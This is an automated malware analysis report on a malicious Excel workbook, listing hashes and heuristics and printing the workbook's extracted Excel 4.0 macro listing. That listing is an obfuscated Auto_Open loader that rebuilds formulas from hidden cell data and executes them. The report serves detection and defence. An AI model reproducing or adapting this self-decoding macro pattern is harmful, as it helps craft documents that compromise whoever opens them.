Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b599726b0bfb07a2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:26 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 019b0c8a0793aebbdec074c6397d0de5 SHA-1: 28c4701faf065d846ea7a0aff41ecea392ef2619 SHA-256: b599726b0bfb07a228e2873053ed9d745c6d4382398838c9b60538b522f6ff74
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6561 bytes
SHA-256: 7253c85aa066f410df7290b4ecb32c175afa6eb78f86a447d3ba1672bc2be409
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PxOtBHl
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G169 
' 0018     20 LABEL : Cell Value, String Constant - BJQdt len=0 
' 0018     25 LABEL : Cell Value, String Constant - DLiIZXnchl len=0 
' 0018     22 LABEL : Cell Value, String Constant - GbWwcjY len=0 
' 0018     26 LABEL : Cell Value, String Constant - gpevYDZGTAo len=0 
' 0018     20 LABEL : Cell Value, String Constant - HAzjG len=0 
' 0018     20 LABEL : Cell Value, String Constant - HLjzb len=0 
' 0018     23 LABEL : Cell Value, String Constant - HTnAAyhD len=0 
' 0018     24 LABEL : Cell Value, String Constant - jONNiRHLI len=0 
' 0018     23 LABEL : Cell Value, String Constant - KCbkfDtE len=0 
' 0018     21 LABEL : Cell Value, String Constant - KJAPQz len=0 
' 0018     22 LABEL : Cell Value, String Constant - llmuARW len=0 
' 0018     25 LABEL : Cell Value, String Constant - LSHtfnFjHo len=0 
' 0018     26 LABEL : Cell Value, String Constant - OBjBkKERfEp len=0 
' 0018     21 LABEL : Cell Value, String Constant - pvrFOe len=0 
' 0018     25 LABEL : Cell Value, String Constant - pZRKWXMmkZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - sdOuS len=0 
' 0018     25 LABEL : Cell Value, String Constant - SoJlmCnxZs len=0 
' 0018     24 LABEL : Cell Value, String Constant - UbxvQrpGs len=0 
' 0018     27 LABEL : Cell Value, String Constant - UCZoJDRzLLNh len=0 
' 0018     27 LABEL : Cell Value, String Constant - yfPswDBhmZSZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PxOtBHl,G77,"SET.NAME("KCbkfDtE",VALUE("0"))",""
'  PxOtBHl,G82,"SET.NAME("BJQdt",KCbkfDtE)",""
'  PxOtBHl,G85,"SET.NAME("pZRKWXMmkZ",KCbkfDtE)",""
'  PxOtBHl,G90,"SET.NAME("jONNiRHLI",COUNTA(OBjBkKERfEp))",""
'  PxOtBHl,G92,"SET.NAME("SoJlmCnxZs",COUNTA(DLiIZXnchl))",""
'  PxOtBHl,G97,[],""
'  PxOtBHl,G101,"SET.NAME("GbWwcjY","")",""
'  PxOtBHl,G104,"BJQdt",""
'  PxOtBHl,G109,"SET.NAME("UCZoJDRzLLNh",HLOOKUP("*",OBjBkKERfEp,BJQdt,FALSE))",""
'  PxOtBHl,G113,"gpevYDZGTAo",""
'  PxOtBHl,G118,"SET.NAME("HLjzb",KCbkfDtE)",""
'  PxOtBHl,G121,[],""
'  PxOtBHl,G125,"HLjzb",""
'  PxOtBHl,G127,"pvrFOe",""
'  PxOtBHl,G132,"KJAPQz",""
'  PxOtBHl,G134,"LSHtfnFjHo",""
'  PxOtBHl,G138,"SET.NAME("HAzjG",VALUE(HLOOKUP("*",DLiIZXnchl,LSHtfnFjHo,FALSE)))",""
'  PxOtBHl,G140,"sdOuS",""
'  PxOtBHl,G142,"GbWwcjY",""
'  PxOtBHl,G146,"pZRKWXMmkZ",""
'  PxOtBHl,G151,NEXT(),""
'  PxOtBHl,G153,"HTnAAyhD",""
'  PxOtBHl,G157,"SET.NAME("f",INT(T(FORMULA(T(GbWwcjY)&"",""&T(HTnAAyhD)))))",""
'  PxOtBHl,G160,"UbxvQrpGs",""
'  PxOtBHl,G162,NEXT(),""
'  PxOtBHl,G167,RETURN(),""
'  PxOtBHl,G193,"SET.NAME("yfPswDBhmZSZ",G77)",""
'  PxOtBHl,G195,"OBjBkKERfEp",""
'  PxOtBHl,G200,"SET.NAME("DLiIZXnchl",R83C14)",""
'  PxOtBHl,G205,"SET.NAME("UbxvQrpGs",212)",""
'  PxOtBHl,G207,"SET.NAME("llmuARW",7)",""
'  PxOtBHl,G211,yfPswDBhmZSZ(),""
'  PxOtBHl,G212,HALT(),""